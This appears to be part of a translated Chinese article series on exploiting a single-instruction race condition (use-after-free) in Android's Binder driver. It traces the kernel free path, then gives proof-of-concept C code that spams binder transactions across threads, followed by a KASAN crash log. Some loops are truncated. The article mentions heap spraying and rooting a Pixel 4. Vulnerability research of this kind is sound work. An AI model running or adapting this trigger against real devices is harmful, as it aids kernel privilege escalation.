在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。
(接上文)
到此为止,我们只考察了发送方线程这边的情况。现在,我们将解释接收端需要执行哪些操作才能释放节点。
实际上,负责释放节点的函数是binder_free_node。
static void binder_free_node(struct binder_node *node)
{
kfree(node);
binder_stats_deleted(BINDER_STAT_NODE);
}
这个函数在代码内多个不同的地方都有调用,但我们感兴趣的路径是当binder接收到BC_FREE_BUFFER事务命令时的那条。之所以选择该代码路径,是基于如下两个方面的考虑的。
首先,并不是所有的进程都可以注册为binder服务的。尽管仍然有可能通过滥用ITokenManager服务来实现这一点,但我们选择使用已经注册的服务(例如servicemanager,gpuservice等)。
第二个原因是,由于我们选择与现有服务进行通信,因此必须在其中一个中使用现有代码路径,这样我们才能释放节点。
幸运的是,BC_FREE_BUFFER就是这种情况,binder服务在处理完事务后会使用BC_FREE_BUFFER进行清理。下面给出了一个带有servicemanager的示例。
在binder_parse中,当响应事务时,服务管理器将调用binder_free_buffer(如果它是单向事务)或binder_send_reply。
int binder_parse(struct binder_state *bs, struct binder_io *bio,
uintptr_t ptr, size_t size, binder_handler func)
{
// [...]
switch(cmd) {
// [...]
case BR_TRANSACTION_SEC_CTX:
case BR_TRANSACTION: {
// [...]
if (func) {
// [...]
if (txn.transaction_data.flags & TF_ONE_WAY) {
binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);
} else {
binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);
}
}
break;
}
// [...]
在这两种情况下,servicemanager都将返回BC_FREE_BUFFER。现在,我们开始介绍该命令是如何释放由发送线程创建的binder节点的。
当目标服务用BC_FREE_BUFFER进行响应时,事务由binder_thread_write进行处理。执行流将流经BC_FREE_BUFFER分支,最后将调用binder_transaction_buffer_release:
static int binder_thread_write(struct binder_proc *proc,
struct binder_thread *thread,
binder_uintptr_t binder_buffer, size_t size,
binder_size_t *consumed)
{
// [...]
case BC_FREE_BUFFER: {
// [...]
binder_transaction_buffer_release(proc, buffer, 0, false);
// [...]
}
// [...]
然后,bind_transaction_buffer_release函数将查看存储在缓冲区中的对象的类型,在本例中为BINDER_TYPE_WEAK_HANDLE或BINDER_TYPE_HANDLE(因为binder对象通过binder时会被转换为句柄),并开始释放它们。
static void binder_transaction_buffer_release(struct binder_proc *proc,
struct binder_buffer *buffer,
binder_size_t failed_at,
bool is_failure)
{
// [...]
switch (hdr->type) {
// [...]
case BINDER_TYPE_HANDLE:
case BINDER_TYPE_WEAK_HANDLE: {
struct flat_binder_object *fp;
struct binder_ref_data rdata;
int ret;
fp=to_flat_binder_object(hdr);
ret=binder_dec_ref_for_handle(proc, fp->handle,
hdr->type==BINDER_TYPE_HANDLE, &rdata);
// [...]
} break;
// [...]
然后,inder_transaction_buffer_release函数将调用binder_dec_ref_for_handle,后者是binder_update_ref_for_handle的封装器。
binder_update_ref_for_handle将递减对句柄的引用,并通过binder_dec_ref_olocked递减对binder节点的引用。
static int binder_update_ref_for_handle(struct binder_proc *proc,
uint32_t desc, bool increment, bool strong,
struct binder_ref_data *rdata)
{
// [...]
if (increment)
ret=binder_inc_ref_olocked(ref, strong, NULL);
else
delete_ref=binder_dec_ref_olocked(ref, strong);
// [...]
if (delete_ref)
binder_free_ref(ref);
return ret;
// [...]
}
在调用binder_free_node之后,binder节点将被释放。
static void binder_free_ref(struct binder_ref *ref)
{
if (ref->node)
binder_free_node(ref->node);
kfree(ref->death);
kfree(ref);
}
在深入讨论该漏洞的利用过程之前,让我们先来简要介绍一下触发UAF漏洞所需的步骤。
首先,我们需要一个处于用户控制之下的线程,将事务发送到系统控制的binder服务(例如servicemanager)。同时,发送方创建包含BINDER_TYPE_BINDER的事务,并将其发送到binder。然后,Binder创建与BINDER_TYPE_BINDER对象相对应的binder_node,并将其发送到ServiceManager。
随后,发送方使用BINDER_THREAD_EXIT停止与binder的通信,这将启动清理过程,最终调用易受攻击的函数binder_release_work,该函数将binder节点从thread->todo中移除。
最后,如果时机合适,接收者将在binder节点出列之后、使用之前,用BC_FREE_BUFFER释放binder节点来响应我们之前的事务。
此时,通过一些喷射操作,可以用另一个对象替换binder节点,并控制binder_work结构体中的type字段来篡改binder的执行流程。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1) {
w=binder_dequeue_work_head(proc, list);
if (!w)
return;
switch (w->type) {
// [...]
下一部分将在详细说明可用于在Pixel 4设备上获得root用户访问权限的详细利用过程之前,通过简单的概念证明来说明如何触发该漏洞。
在尝试为该漏洞编写完整的exploit之前,让我们先来尝试触发在Pixel 4设备上运行的、启用KASAN功能的内核漏洞。这篇文章详细介绍了为Pixel设备构建KASAN内核的详细步骤。
概念证明可以分为三个阶段:
生成能够触发漏洞的事务
将该事务和BINDER_THREAD_EXIT发送到binder
使用多个线程更有效地触发静态条件
首先,让我们看一下我们需要发送的事务。为此,至少需要一个BINDER_TYPE_BINDER或BINDER_TYPE_WEAK_BINDER对象。我们可以发送多个消息来触发该漏洞,因为thread->todo中的节点越多,执行给定事务的可能性就越大,也就有更多的机会来触发该漏洞。
根据binder事务的格式,我们可以使用以下布局生成一个binder事务:
下面的函数可用于创建一个如上所示的事务。
static inline void init_binder_transaction(int nb) {
for (int i=0; i
struct flat_binder_object *fbo=
(struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
fbo->hdr.type=BINDER_TYPE_BINDER;
fbo->binder=i;
fbo->cookie=i;
uint64_t *offset=(uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));
*offset=i * sizeof(*fbo);
}
struct binder_transaction_data btd2={
.flags=TF_ONE_WAY,
.data_size=0x28 * nb,
.offsets_size=8 * nb,
.data.ptr.buffer=MEM_ADDR + 0x400,
.data.ptr.offsets=MEM_ADDR + OFFSETS_START,
};
uint64_t txn_size=sizeof(uint32_t) + sizeof(btd2);
*(uint32_t*)(MEM_ADDR + 0x200)=BC_TRANSACTION;
memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));
struct binder_write_read bwr={
.write_size=txn_size * (1), // 1 txno
.write_buffer=MEM_ADDR + 0x200
};
memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));
}
下一步是打开与binder的通信通道,发送事务,并用BINDER_THREAD_EXIT关闭该通道:
void *trigger_thread_func(void *argp) {
unsigned long id=(unsigned long)argp;
int ret=0;
int binder_fd=-1;
int binder_fd_copy=-1;
// Opening binder device
binder_fd=open("/dev/binder", O_RDWR);
if (binder_fd
perror("An error occured while opening binder");
for (;;) {
// Refill the memory region with the transaction
init_binder_transaction(1);
// Copying the binder fd
binder_fd_copy=dup(binder_fd);
// Sending the transaction
ret=ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100);
if (ret !=0)
debug_printf("BINDER_WRITE_READ did not work: %d", ret);
// Binder thread exit
ret=ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);
if (ret !=0)
debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);
// Closing binder device
close(binder_fd_copy);
}
return NULL;
}
最后,让我们启动多个线程,以更快地触发该漏洞。
int main() {
pthread_t trigger_threads[NB_TRIGGER_THREADS];
// Memory region for binder transactions
mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
// Init random
srand(time(0));
// Get rid of stdout/stderr buffering
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Starting trigger threads
debug_print("Starting trigger threads");
for (unsigned long i=0; i
pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);
}
// Waiting for trigger threads
for (int i=0; i
pthread_join(trigger_threads[i], NULL);
return 0;
}
在启用KASAN的易受攻击内核上运行PoC后,如果成功触发了漏洞,那么一段时间后,dmesg中应该会出现以下消息:
[81169.367408] c6 20464==================================================================
[81169.367435] c6 20464 BUG: KASAN: use-after-free in binder_release_work+0x84/0x1b8
[81169.367469] c6 20464 Read of size 4 at addr ffffffc053e45850 by task poc/20464
[81169.367481] c6 20464
[81169.367498] c6 20464 CPU: 6 PID: 20464 Comm: poc Tainted: G S W 4.14.170-g551313822-dirty_audio-g199e9bf #1
[81169.367507] c6 20464 Hardware name: Qualcomm Technologies, Inc. *** 8150 V2 PM8150 Google Inc. M *** *** 8150 Flame (DT)
[81169.367514] c6 20464 Call trace:
[81169.367530] c6 20464 dump_backtrace+0x0/0x380
[81169.367541] c6 20464 show_stack+0x20/0x2c
[81169.367554] c6 20464 dump_stack+0xc4/0x11c
[81169.367576] c6 20464 print_address_description+0x70/0x240
[81169.367594] c6 20464 kasan_report_error+0x1a0/0x204
[81169.367605] c6 20464 kasan_report_error+0x0/0x204
[81169.367619] c6 20464 __asan_load4+0x80/0x84
[81169.367631] c6 20464 binder_release_work+0x84/0x1b8
[81169.367644] c6 20464 binder_thread_release+0x2ac/0x2e0
[81169.367655] c6 20464 binder_ioctl+0x9a4/0x122c
[81169.367680] c6 20464 do_vfs_ioctl+0x7c8/0xefc
[81169.367693] c6 20464 SyS_ioctl+0x68/0xa0
[81169.367716] c6 20464 el0_svc_naked+0x34/0x38
[81169.367725] c6 20464
[81169.367734] c6 20464 Allocated by task 20464:
[81169.367747] c6 20464 kasan_kmalloc+0xe0/0x1ac
[81169.367761] c6 20464 kmem_cache_alloc_trace+0x3b8/0x454
[81169.367774] c6 20464 binder_new_node+0x4c/0x394
[81169.367802] c6 20464 binder_transaction+0x2398/0x4308
[81169.367816] c6 20464 binder_ioctl_write_read+0xc28/0x4dc8
[81169.367826] c6 20464 binder_ioctl+0x650/0x122c
[81169.367836] c6 20464 do_vfs_ioctl+0x7c8/0xefc
[81169.367846] c6 20464 SyS_ioctl+0x68/0xa0
[81169.367862] c6 20464 el0_svc_naked+0x34/0x38
[81169.367868] c6 20464
[81169.367936] c7 20469 CPU7: update max cpu_capacity 989
[81169.368496] c6 20464 Freed by task 594:
[81169.368518] c6 20464 __kasan_slab_free+0x13c/0x21c
[81169.368534] c6 20464 kasan_slab_free+0x10/0x1c
[81169.368549] c6 20464 kfree+0x248/0x810
[81169.368564] c6 20464 binder_free_ref+0x30/0x64
[81169.368584] c6 20464 binder_update_ref_for_handle+0x294/0x2b0
[81169.368600] c6 20464 binder_transaction_buffer_release+0x46c/0x7a0
[81169.368616] c6 20464 binder_ioctl_write_read+0x21d0/0x4dc8
[81169.368653] c6 20464 binder_ioctl+0x650/0x122c
[81169.368667] c6 20464 do_vfs_ioctl+0x7c8/0xefc
[81169.368684] c6 20464 SyS_ioctl+0x68/0xa0
[81169.368697] c6 20464 el0_svc_naked+0x34/0x38
[81169.368704] c6 20464
[81169.368735] c6 20464 The buggy address belongs to the object at ffffffc053e45800
[81169.368735] c6 20464 which belongs to the cache kmalloc-256 of size 256
[81169.368753] c6 20464 The buggy address is located 80 bytes inside of
[81169.368753] c6 20464 256-byte region [ffffffc053e45800, ffffffc053e45900)
[81169.368767] c6 20464 The buggy address belongs to the page:
[81169.368779] c6 20464 page:ffffffbf014f9100 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
[81169.368804] c6 20464 flags: 0x10200(slab|head)
[81169.368824] c6 20464 raw: 0000000000010200 0000000000000000 0000000000000000 0000000100150015
[81169.368843] c6 20464 raw: ffffffbf04e39e00 0000000e00000002 ffffffc148c0fa00 0000000000000000
[81169.368867] c6 20464 page dumped because: kasan: bad access detected
[81169.368882] c6 20464
[81169.368894] c6 20464 Memory state around the buggy address:
[81169.368910] c6 20464 ffffffc053e45700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[81169.368955] c6 20464 ffffffc053e45780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[81169.368984] c6 20464 >ffffffc053e45800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[81169.368997] c6 20464 ^
[81169.369012] c6 20464 ffffffc053e45880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[81169.369037] c6 20464 ffffffc053e45900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[81169.369049] c6 20464==================================================================
在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!
(未完待续)
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